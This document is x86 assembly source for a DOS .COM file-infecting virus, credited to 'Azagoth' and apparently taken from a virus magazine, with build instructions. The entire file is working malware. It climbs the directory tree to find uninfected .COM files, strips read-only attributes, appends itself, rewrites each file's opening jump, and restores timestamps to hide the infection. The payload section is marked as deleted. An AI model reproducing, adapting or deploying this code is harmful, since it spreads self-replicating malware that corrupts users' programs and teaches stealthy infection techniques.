2022-08-21 09:07:57 +00:00
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; virus from ALT-11 mag
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; ---------------------------------------
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;
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; Coded by: Azagoth
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; ---------------------------------------
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; Assemble using Turbo Assembler:
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; tasm /m2 <filename>.asm
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; tlink /t <filename>.obj
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; ---------------------------------------------------------------------------
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; - Non-Overwriting .COM infector (excluding COMMAND.COM)
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; - COM growth: XXX bytes
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; - It searches the current directory for uninfected files. If none are
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; found, it searches previous directory until it reaches root and no more
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; uninfected files are found. (One infection per run)
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; - Also infects read-only files
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; - Restores attributes, initial date/time-stamps, and original path.
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; ---------------------------------------------------------------------------
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.model tiny
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.code
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org 100h ; adjust for psp
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start:
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call get_disp ; push ip onto stack
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get_disp:
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pop bp ; bp holds current ip
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sub bp, offset get_disp ; bp = code displacement
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; original label offset is stored in machine code
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; so new (ip) - original = displacement of code
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save_path:
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mov ah, 47h ; save cwd
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xor dl, dl ; 0 = default drive
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lea si, [bp + org_path]
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int 21h
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get_dta:
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mov ah, 2fh
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int 21h
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mov [bp + old_dta_off], bx ; save old dta offset
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set_dta: ; point to dta record
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mov ah, 1ah
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lea dx, [bp + dta_filler]
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int 21h
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search:
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mov ah, 4eh ; find first file
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mov cx, [bp + search_attrib] ; if successful dta is
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lea dx, [bp + search_mask] ; created
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int 21h
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jnc clear_attrib ; if found, continue
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find_next:
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mov ah, 4fh ; find next file
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int 21h
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jnc clear_attrib
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still_searching:
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mov ah, 3bh
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lea dx, [bp + previous_dir] ; cd ..
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int 21h
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jnc search
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jmp bomb ; at root, no more files
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clear_attrib:
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mov ax, 4301h
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xor cx, cx ; get rid of attributes
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lea dx, [bp + dta_file_name]
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int 21h
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open_file:
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mov ax, 3D02h ; AL=2 read/write
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lea dx, [bp + dta_file_name]
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int 21h
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xchg bx, ax ; save file handle
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; bx won't change from now on
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check_if_command_com:
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cld
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lea di, [bp + com_com]
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lea si, [bp + dta_file_name]
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mov cx, 11 ; length of 'COMMAND.COM'
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repe cmpsb ; repeat while equal
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jne check_if_infected
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jmp close_file
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check_if_infected:
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mov dx, word ptr [bp + dta_file_size] ; only use first word since
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; COM file
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sub dx, 2 ; file size - 2
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mov ax, 4200h
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mov cx, 0 ; cx:dx ptr to offset from
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int 21h ; origin of move
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mov ah, 3fh ; read last 2 characters
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mov cx, 2
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lea dx, [bp + last_chars]
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int 21h
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mov ah, [bp + last_chars]
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cmp ah, [bp + virus_id]
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jne save_3_bytes
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mov ah, [bp + last_chars + 1]
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cmp ah, [bp + virus_id + 1]
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jne save_3_bytes
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jmp close_file
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save_3_bytes:
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mov ax, 4200h ; 00=start of file
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xor cx, cx
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xor dx, dx
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int 21h
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mov ah, 3Fh
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mov cx, 3
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lea dx, [bp + _3_bytes]
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int 21h
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goto_eof:
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mov ax, 4202h ; 02=End of file
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xor cx, cx ; offset from origin of move
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xor dx, dx ; (i.e. nowhere)
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int 21h ; ax holds file size
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; since it is a COM file, overflow will not occur
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save_jmp_displacement:
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sub ax, 3 ; file size - 3 = jmp disp.
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mov [bp + jmp_disp], ax
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write_code:
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mov ah, 40h
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mov cx, virus_length ;*** equate
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lea dx, [bp + start]
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int 21h
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goto_bof:
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mov ax, 4200h
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xor cx, cx
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xor dx, dx
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int 21h
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write_jmp: ; to file
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mov ah, 40h
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mov cx, 3
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lea dx, [bp + jmp_code]
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int 21h
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inc [bp + infections]
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restore_date_time:
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mov ax, 5701h
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mov cx, [bp + dta_file_time]
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mov dx, [bp + dta_file_date]
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int 21h
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close_file:
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mov ah, 3eh
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int 21h
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restore_attrib:
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xor ch, ch
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mov cl, [bp + dta_file_attrib] ; restore original attributes
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mov ax, 4301h
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lea dx, [bp + dta_file_name]
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int 21h
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done_infecting?:
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mov ah, [bp + infections]
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cmp ah, [bp + max_infections]
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jz bomb
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jmp find_next
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bomb:
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; cmp bp, 0
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; je restore_path ; original run
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;
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;---- Stuff deleted
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restore_path:
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mov ah, 3bh ; when path stored
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lea dx, [bp + root] ; '\' not included
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int 21h
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mov ah, 3bh ; cd to original path
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lea dx, [bp + org_path]
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int 21h
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restore_dta:
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mov ah, 1ah
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mov dx, [bp + old_dta_off]
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int 21h
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restore_3_bytes: ; in memory
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lea si, [bp + _3_bytes]
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mov di, 100h
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cld ; auto-inc si, di
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mov cx, 3
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rep movsb
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return_control_or_exit?:
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cmp bp, 0 ; bp = 0 if original run
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je exit
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mov di, 100h ; return control back to prog
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jmp di ; -> cs:100h
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exit:
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mov ax, 4c00h
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int 21h
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;-------- Variable Declarations --------
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old_dta_off dw 0 ; offset of old dta address
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;-------- dta record
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dta_filler db 21 dup (0)
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dta_file_attrib db 0
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dta_file_time dw 0
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dta_file_date dw 0
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dta_file_size dd 0
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dta_file_name db 13 dup (0)
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;--------
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search_mask db '*.COM',0 ; files to infect: *.COM
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search_attrib dw 00100111b ; all files a,s,h,r
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com_com db 'COMMAND.COM'
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previous_dir db '..',0
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root db '\',0
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org_path db 64 dup (0) ; original path
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infections db 0 ; counter
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max_infections db 1
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_3_bytes db 0, 0, 0
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jmp_code db 0E9h
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jmp_disp dw 0
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last_chars db 0, 0 ; do last chars = ID ?
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virus_id db 'AZ'
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eov: ; end of virus
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virus_length equ offset eov - offset start
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end start
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2021-01-12 23:29:01 +00:00
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